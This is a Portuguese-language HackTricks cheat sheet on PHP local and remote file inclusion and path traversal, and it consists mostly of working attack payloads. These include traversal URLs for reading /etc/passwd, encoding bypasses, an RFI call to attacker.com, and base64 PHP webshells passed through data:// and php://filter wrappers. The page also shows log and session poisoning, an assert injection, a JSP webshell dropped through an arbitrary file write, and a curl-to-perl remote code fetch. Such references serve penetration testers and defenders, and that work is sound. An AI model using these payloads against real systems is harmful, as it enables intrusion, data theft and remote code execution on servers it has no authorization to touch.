File Inclusion/Path traversal
Reading time: 29 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
File Inclusion
Remote File Inclusion (RFI): O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está desativado por padrão (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar, de alguma forma, o arquivo que será carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Misturando várias listas de LFI de *nix e adicionando mais caminhos, criei esta:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Tente também trocar /
por \
Tente também adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada here
Windows
Mesclagem de diferentes wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Tente também trocar /
por \
Tente também remover C:/
e adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada here
OS X
Verifique a lista de LFI do Linux.
Basic LFI and bypasses
Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences removidas de forma não recursiva
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass a adição de mais caracteres ao final da string fornecida (bypass de: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Isso está resolvido desde o PHP 5.4
Codificação
Você pode usar codificações não padrão como double URL encode (e outras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
A partir de uma pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorando Diretórios do Sistema de Arquivos em um Servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
- Determinar a Profundidade do Diretório: Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo
/etc/passwd
(aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Verificar pastas: Anexe o nome da pasta suspeita (por exemplo,
private
) ao URL, depois navegue de volta para/etc/passwd
. O nível adicional de diretório requer incrementar a profundidade em uma:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interprete os resultados: A resposta do servidor indica se a pasta existe:
- Erro / Sem saída: A pasta
private
provavelmente não existe no local especificado. - Conteúdo de
/etc/passwd
: A presença da pastaprivate
está confirmada.
- Exploração recursiva: Pastas descobertas podem ser sondadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais Local File Inclusion (LFI).
Para explorar diretórios em locais diferentes no sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se /var/www/
contém um diretório private
(assumindo que o diretório atual está a uma profundidade de 3), use:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. Frequentemente é usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, e/etc/passwd/
são todos tratados como o mesmo caminho.- Quando os últimos 6 caracteres são
passwd
, adicionar um/
(tornando-opasswd/
) não altera o arquivo alvo. - Da mesma forma, se
.php
é adicionado a um caminho de arquivo (comoshellcode.php
), adicionar um/.
ao final não alterará o arquivo acessado.
Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd
, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Nesses cenários, o número de traversais necessários pode girar em torno de 2027, mas esse valor pode variar conforme a configuração do servidor.
- Using Dot Segments and Additional Characters: Sequências de traversal (
../
) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor. - Determining the Required Number of Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências
../
necessárias para navegar até o diretório raiz e então até/etc/passwd
, garantindo que quaisquer strings anexadas (como.php
) sejam neutralizadas, mas que o caminho desejado (/etc/passwd
) permaneça intacto. - Starting with a Fake Directory: É prática comum iniciar o caminho com um diretório inexistente (como
a/
). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
Ao empregar path truncation techniques, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz.
Esta vulnerabilidade foi corrigida no PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
No php, isso está desabilitado por padrão porque allow_url_include
é Off. Deve estar On para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se por algum motivo allow_url_include
estiver On, mas o PHP estiver filtrando o acesso a páginas externas, segundo este post, você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP b64 e obter RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
No código anterior, o +.txt
final foi adicionado porque o atacante precisava de uma string que terminasse em .txt
, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
Outro exemplo não usando o protocolo php://
seria:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento raiz em Python
Em Python, em um código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se o usuário passar um caminho absoluto para file_name
, o caminho anterior é simplesmente removido:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Isso é o comportamento pretendido de acordo com the docs:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Java Listar diretórios
Parece que se você tiver um Path Traversal em Java e você solicitar um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não acontece em outras linguagens (pelo que sei).
Top 25 parâmetros
Aqui está a lista dos top 25 parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrappers e protocolos PHP
php://filter
PHP filters permitem executar operações básicas de modificação nos dados antes que eles sejam lidos ou escritos. Existem 5 categorias de filtros:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Remove tags dos dados (tudo entre os caracteres "<" e ">")- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>
). Para obter a lista de todas as codificações suportadas execute no console:iconv -l
warning
Abusando do filtro de conversão convert.iconv.*
você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações veja LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Comprime o conteúdo (útil se estiver exfiltrando muita informação)zlib.inflate
: Descomprime os dados- Encryption Filters
mcrypt.*
: Depreciadomdecrypt.*
: Depreciado- Outros filtros
- Executando em php
var_dump(stream_get_filters());
você pode encontrar alguns filtros inesperados: consumed
dechunk
: reverte a codificação HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
A parte "php://filter" é case insensitive
Usando php filters como oracle para ler arquivos arbitrários
In this post é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica baseia-se numa boolean exfiltration of the file (caractere por caractere) usando php filters como oracle. Isto porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.
No post original você pode encontrar uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
- Use o codec
UCS-4LE
para deixar o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente. - Isto será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que o php vai disparar um erro
- O filtro dechunk vai remover tudo se o primeiro char não for hexadecimal, então podemos saber se o primeiro char é hex.
- Isto, combinado com o anterior (e outros filtros dependendo da letra adivinhada), permitirá adivinhar uma letra no começo do texto vendo quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro.
- O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então depois deste codec: a -> b). Isso nos permite descobrir se a primeira letra é um
a
, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal, portanto dechunk não a apaga e o php error é disparado porque ele multiplica com a bomba inicial. - Usando outras transformações como rot13 no início é possível leak other chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o char inicial é um número é necessário codificá-lo em base64 e leak the 2 first letters para leak o número.
- O problema final é ver como leak mais do que a letra inicial. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto.
- E para poder obter mais dados a ideia é gerar 2 bytes de junk data no começo com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazer pivotar com os próximos 2 bytes, e deletar os dados até o junk data (isto removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
No post uma ferramenta para executar isto automaticamente também foi leaked: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Você também pode usar php://stdin, php://stdout and php://stderr para acessar os file descriptors 0, 1 and 2 respectivamente (não sei ao certo como isso poderia ser útil em um ataque)
zip:// and rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar, ele precisa ser ativado especificamente.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Observe que este protocolo é restrito pelas configurações do php allow_url_open
e allow_url_include
expect://
O Expect precisa estar ativado. Você pode executar código usando isto:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique seu payload nos parâmetros POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Um arquivo .phar
pode ser usado para executar código PHP quando uma aplicação web utiliza funções como include
para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Para compilar o arquivo .phar
, o seguinte comando deve ser executado:
php --define phar.readonly=0 create_path.php
Após a execução, um arquivo chamado test.phar
será criado, que potencialmente pode ser utilizado para explorar vulnerabilidades Local File Inclusion (LFI).
Em casos onde a LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ou filesize()
, pode-se tentar explorar uma vulnerabilidade de deserialization. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar
.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Foi possível abusar de any arbitrary file read from PHP that supports php filters para obter uma RCE. A descrição detalhada pode ser found in this post.
Resumo rápido: um 3 byte overflow no heap do PHP foi abusado para alterar a chain of free chunks de um tamanho específico a fim de poder write anything in any address, então um hook foi adicionado para chamar system
.
Foi possível alloc chunks de tamanhos específicos abusando de mais php filters.
Mais protocolos
Check more possible protocols to include here:
- php://memory and php://temp — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
- file:// — Acessando o sistema de arquivos local
- http:// — Acessando URLs HTTP(s)
- ftp:// — Acessando URLs FTP(s)
- zlib:// — Compression Streams
- glob:// — Find pathnames matching pattern (Não retorna nada imprimível, então não é muito útil aqui)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Não útil para ler arquivos arbitrários)
LFI via PHP's 'assert'
Os riscos de Local File Inclusion (LFI) no PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código contido em strings. Isso é particularmente problemático se entradas contendo caracteres de directory traversal como ".." forem verificadas mas não devidamente sanitizadas.
Por exemplo, o código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
assert("strpos('$file', '..') === false") or die("");
Enquanto isso visa impedir traversal, isso inadvertidamente cria um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um attacker poderia usar:
' and die(highlight_file('/etc/passwd')) or '
De forma semelhante, para executar comandos arbitrários do sistema, pode-se usar:
' and die(system("id")) or '
É importante URL-encode these payloads.
PHP Blind Path Traversal
warning
Esta técnica é relevante em casos onde você control o file path de uma PHP function que irá access a file mas você não verá o conteúdo do arquivo (como uma chamada simples para file()
) já que o conteúdo não é exibido.
No this incredible post é explicado como um blind path traversal pode ser abusado via PHP filter para exfiltrate the content of a file via an error oracle.
Resumindo, a técnica utiliza a codificação "UCS-4LE" para tornar o conteúdo de um arquivo tão big que a PHP function opening o arquivo vai disparar um error.
Então, para leak o primeiro char o filter dechunk
é usado junto com outros como base64 ou rot13 e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para place other chars at the beggining and leak them.
Funções que podem ser vulneráveis: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Para os detalhes técnicos, consulte o post mencionado!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando o código server-side que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalising e validar, segmentos ..
e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell.
Fluxo típico de exploração:
- Identifique um write primitive em um endpoint ou background worker que aceite um path/filename e grave conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Exemplos comuns:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Crie um traversal path que saia do diretório de armazenamento pretendido para o webroot, e inclua o conteúdo do seu webshell.
- Navegue até o payload dropado e execute comandos.
Observações:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá o seu payload posteriormente.
- Em stacks Java, essas gravações de arquivo frequentemente são implementadas com simples concatenação
File
/Paths
. A falta de canonicalisation/allow-listing é a falha central.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Reforços que previnem essa classe de bugs:
- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base na allow-list.
- Rejeite qualquer caminho que contenha
..
, raízes absolutas, ou letras de drive; prefira nomes de arquivo gerados. - Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita das raízes servidas.
Remote File Inclusion
Explicado anteriormente, follow this link.
Via Apache/Nginx log file
Se o servidor Apache ou Nginx for vulnerável a LFI dentro da função include você pode tentar acessar /var/log/apache2/access.log
or /var/log/nginx/access.log
, inserir no user agent ou em um GET parameter um php shell como <?php system($_GET['c']); ?>
e incluir esse arquivo
warning
Observe que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string "quote;", o PHP lançará um erro aí e nada mais será executado.
Além disso, certifique-se de escrever corretamente o payload ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isto também pode ser feito em outros logs, mas cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header authorisation "basic" contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.
Outros possíveis caminhos de log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Envie um e-mail para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?>
e tente incluir o e-mail do usuário com um caminho como /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Faça upload de muitas shells (por exemplo: 100)
- Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser obtido por força bruta) e $FD o descritor de arquivo (também pode ser obtido por força bruta)
Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (por exemplo: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/documentos/PDF
Via upload de arquivo ZIP
Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Através de PHP sessions
Verifique se o site usa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Em PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Defina o cookie para <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use o LFI para incluir o arquivo de sessão do PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se o ssh estiver ativo, verifique qual usuário está em uso (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa
Via vsftpd logs
Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
- Injete um payload PHP no campo username durante o processo de login.
- Após a injeção, utilize o LFI para recuperar os logs do servidor em /var/log/vsftpd.log.
Via php base64 filter (using base64)
Como mostrado em este artigo, o PHP base64 filter ignora caracteres não-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termine com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (sem necessidade de arquivo)
This writeup explica que você pode usar php filters to generate arbitrary content como saída. O que basicamente significa que você pode generate arbitrary php code para o include without needing to write em um arquivo.
Via segmentation fault
Envie um arquivo que será armazenado como temporário em /tmp
, então na mesma requisição, provoque um segmentation fault, e então o arquivo temporário não será deletado e você poderá procurá-lo.
LFI2RCE via Segmentation Fault
Via Nginx armazenamento de arquivos temporários
Se você encontrou uma Local File Inclusion e Nginx está rodando na frente do PHP, você pode conseguir RCE com a técnica a seguir:
Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma Local File Inclusion mesmo se você não tiver uma session e session.auto_start
estiver Off
. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS
nos dados multipart POST, o PHP ativará a session para você. Você pode abusar disso para obter RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via uploads de arquivos temporários no Windows
Se você encontrou uma Local File Inclusion e o servidor está rodando em Windows você pode obter RCE:
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
O seguinte explora uma vuln CRLF para obter RCE (from here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Se você encontrar uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Se você encontrar uma Local File Inclusion e conseguir exfiltrar o caminho do arquivo temporário MAS o servidor está verificando se o arquivo a ser incluído tem marcas PHP, você pode tentar burlar essa verificação com esta Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via espera eterna + bruteforce
Se você puder abusar do LFI para fazer upload de arquivos temporários e fazer o servidor travar a execução do PHP, você pode então tentar por força bruta os nomes de arquivo durante horas para encontrar o arquivo temporário:
Para Fatal Error
Se você incluir qualquer um dos arquivos /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Você precisa incluir o mesmo duas vezes para disparar esse erro).
Não sei quão útil isso é, mas pode ser.
Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados.
.png)
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.